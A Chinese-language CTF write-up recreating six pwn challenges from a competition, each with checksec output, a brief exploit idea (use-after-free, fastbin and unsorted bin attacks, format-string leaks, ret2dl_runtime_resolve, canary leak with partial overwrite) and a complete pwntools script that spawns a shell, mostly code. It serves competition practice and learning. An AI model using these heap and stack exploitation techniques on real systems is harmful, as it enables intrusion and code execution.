0%

铁三比赛第一,三,四赛区

5f8965c41cd34.jpg

最近铁三比赛,本菜鸡是第四赛区的,复现一下其他赛区的pwn,第二赛区的没找到题。

第一赛区

heap

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

uaf漏洞,格式化字符串漏洞,堆溢出漏洞,直接fastbin attach来getshell

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#! /usr/bin/env python

from pwn import *

sh=process('./heap')
elf=ELF('./heap')
libc=ELF('./libc.so.6')
#context.log_level='debug'

def add(size):
sh.recvuntil('Input your choice: ')
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))

def show(index):
sh.recvuntil('Input your choice: ')
sh.sendline('2')
sh.recvuntil(': ')
sh.sendline(str(index))

def edit(index,content):
sh.recvuntil('Input your choice: ')
sh.sendline('3')
sh.recvuntil(': ')
sh.sendline(str(index))
sh.recvuntil(': ')
sh.send(content)

def free(index):
sh.recvuntil('Input your choice: ')
sh.sendline('4')
sh.recvuntil(': ')
sh.sendline(str(index))

sh.recvuntil(': ')
sh.sendline('L0ne1y')

add(0x10) #0
add(0x60) #1
add(0x60) #2
add(0x10) #3
edit(0,'a'*0x18+p64(0xe1))
free(1)
show(1)
sh.recvuntil('item 1: ')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0x4527a
sh.success('one_gadget : ' +hex(one_gadget))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
sh.success('malloc_hook : ' +hex(malloc_hook))
realloc=libc_base+libc.symbols['realloc']
sh.success('realloc : ' +hex(realloc))
add(0x60) #4==1
add(0x60) #5==2
free(5)
edit(2,p64(malloc_hook-0x23))
add(0x60) #6
add(0x60) #7
edit(7,'aaa'+p64(0)+p64(one_gadget)+p64(realloc+0xc))
add(0x10)
#gdb.attach(sh)

sh.interactive()

hacknote

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

格式化字符串泄露libc,然后改函数指针为one_gadget

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#! /usr/bin/env python

from pwn import *

sh=process('./hacknote')
elf=ELF('./hacknote')
libc=ELF('./libc.so.6')
context.log_level='debug'


def add(size,content):
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def show(index):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))

def free(index):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))

puts_got=elf.got['puts']
sh.recvuntil("what's your name!\n")
sh.sendline('%13$p')
sh.recvuntil(',')
libc_start_main=int(sh.recv(14),16)-240
sh.success('libc_start_main : ' +hex(libc_start_main))
libc_base=libc_start_main-libc.symbols['__libc_start_main']
sh.success('libc_base : ' +hex(libc_base))
system_addr=libc_base+libc.symbols['system']
sh.success('system_addr : ' +hex(system_addr))
one_gadget=libc_base+0xf1207

add(0x20,'L0ne1y') #0
add(0x20,'L0ne1y') #1
free(0)
free(1)
add(0x10,p64(one_gadget)) #2
show(0)
#gdb.attach(sh)
sh.interactive()

第三赛区

readme2

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

32位ret2_dl_runtime_resolve利用,这里我直接用的fmyy师傅的wp

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
p = process('./main')
rop = ROP('./main')
elf = ELF('./main')
#p = remote('47.103.214.163',20700)
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

base_stage = 0x804A060 + 0x400
leave_ret = 0x080483F8
payload = 'U'*0x30 + p32(base_stage - 4) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(base_stage) + p32(0x100)

p.sendline(payload)

#--------
fake_sym_addr = base_stage + 24 #fake_sym
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #alignment
fake_sym_addr = fake_sym_addr + align #
index_dynsym = (fake_sym_addr - dynsym) / 0x10
st_name = fake_sym_addr + 0x10 - dynstr #system
fake_read_sym = flat([st_name, 0, 0, 0x12])

index_offset = base_stage + 16 - rel_plt
read_got = elf.got['read']
r_info = (index_dynsym << 8) | 0x7
fake_read_reloc = flat([read_got, r_info])

link_map = p32(plt0)
link_map += p32(index_offset)
link_map += 'UUUU'
link_map += p32(base_stage + 80) # binsh
link_map += fake_read_reloc
link_map += 'U'*align
link_map += fake_read_sym
link_map += 'system\x00'
link_map += 'U' * (80 -len(link_map))
link_map += '/bin/sh\x00'
link_map += 'U'*(100 - len(link_map))
pause()
p.sendline(link_map)
p.interactive()

fake

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

首先unsorted bin attack 将main_arena+88地址写到bss段上,然后修改top chunk,申请chunk到bss段上,然后改free为0x0400937,然后泄露libc,然后再将atoi的got表改写为system,getshell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#! /usr/bin/env python

from pwn import *

sh=process('./fake')
elf=ELF('./fake')
context.log_level='debug'
libc=ELF('./libc.so.6')

def add(index,content):
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Index:')
sh.sendline(str(index))
sh.recvuntil('Content:')
sh.send(content)

def edit(index,content):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))
sleep(0.5)
sh.send(content)

def free(index):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))

free_got=elf.got['free']
atoi_got=elf.got['atoi']
puts_got=elf.got['puts']
sh.recvuntil(':')
sh.send(p64(0)*2 + p64(0x1011))

sleep(0.5)
add(0,'AAAA')
add(1,'AAAA')
add(2,'AAAA')
free(0)
edit(0,'\x00'*8 + p64(0x602100 - 0x10))
add(3,'AAAA')
edit(0,p64(0x6020E8)+p64(0)+p64(0x6020E8)+p64(0x6020E8)[0:7])
add(4,'a'*8+p64(free_got)+p64(atoi_got))
edit(0,p64(0x0400937))
free(1)
atoi_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('atoi_addr : ' +hex(atoi_addr))
libc_base=atoi_addr-libc.sym['atoi']
system_addr=libc_base+libc.symbols['system']
edit(1,p64(system_addr))
sh.recvuntil(':')
sh.sendline('/bin/sh\x00')

#gdb.attach(sh)
sh.interactive()

第四赛区

namepie

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

开了pie和canary,首先通过输入name,泄露出canary,因为开启pie后,最后的1.5个字节是不变的,而程序中有后门函数,直接覆盖返回地址的最后一个字节,跳到后门函数。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#! /usr/bin/env python

from pwn import *

#sh=process('./namepie')
sh=remote('172.20.14.109',9999)
elf=ELF('./namepie')
context.log_level='debug'

sh.recvuntil(':\n')
sh.sendline('a'*0x20+'b'*8)
sh.recvuntil('b'*8)
canary=u64(sh.recv(8))-0xa
#gdb.attach(sh)
sh.success('canary : ' +hex(canary))
sh.recvuntil('!\n')
payload='a'*0x28+p64(canary)+'a'*8+'\x71'
sh.send(payload)

sh.interactive()

onetime

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

程序存在uaf漏洞,但是每次add,edit,show,free后会将标记值一,这也就会导致我们只能够执行函数一次,其中free掉chunk后我们可以再次add一次,还有一个name函数。我们可以先将申请后的chunk free掉,然后修改其fd指针,将fake_chunk申请到bss段,然后修改ptr指针为atoi函数,泄露libc,再将atoi函数修改为system,填如相应参数来getshell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#! /usr/bin/env python

from pwn import *

#sh=process('./onetime')
sh=remote('172.20.14.109',10001)
elf=ELF('./onetime')
context.log_level='debug'
libc=ELF('./libc-2.23.so')

def add():
sh.recvuntil('>>\n')
sh.sendline('1')

def edit(content):
sh.recvuntil('>>\n')
sh.sendline('2')
sh.recvuntil(':')
sh.send(content)

def show():
sh.recvuntil('>>\n')
sh.sendline('3')

def free():
sh.recvuntil('>>\n')
sh.sendline('4')

def name(name):
sh.recvuntil('>>\n')
sh.sendline('5')
sh.recvuntil(':')
sh.send(name)

fake_size=0x60208d
atoi_got=elf.got['atoi']
add()
free()
edit(p64(fake_size))
add()
name('a'*3+p64(0)+p64(atoi_got)+p64(0)+p64(0))
show()
sh.recvuntil('data:')
atoi_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('atoi_addr : ' +hex(atoi_addr))
libc_base=atoi_addr-libc.symbols['atoi']
sh.success('libc_base : ' +hex(libc_base))
system_addr=libc_base+libc.symbols['system']
sh.success('system_addr : ' +hex(system_addr))

edit(p64(system_addr))
sh.recvuntil('>>\n')
sh.send('sh\x00')
#gdb.attach(sh)

sh.interactive()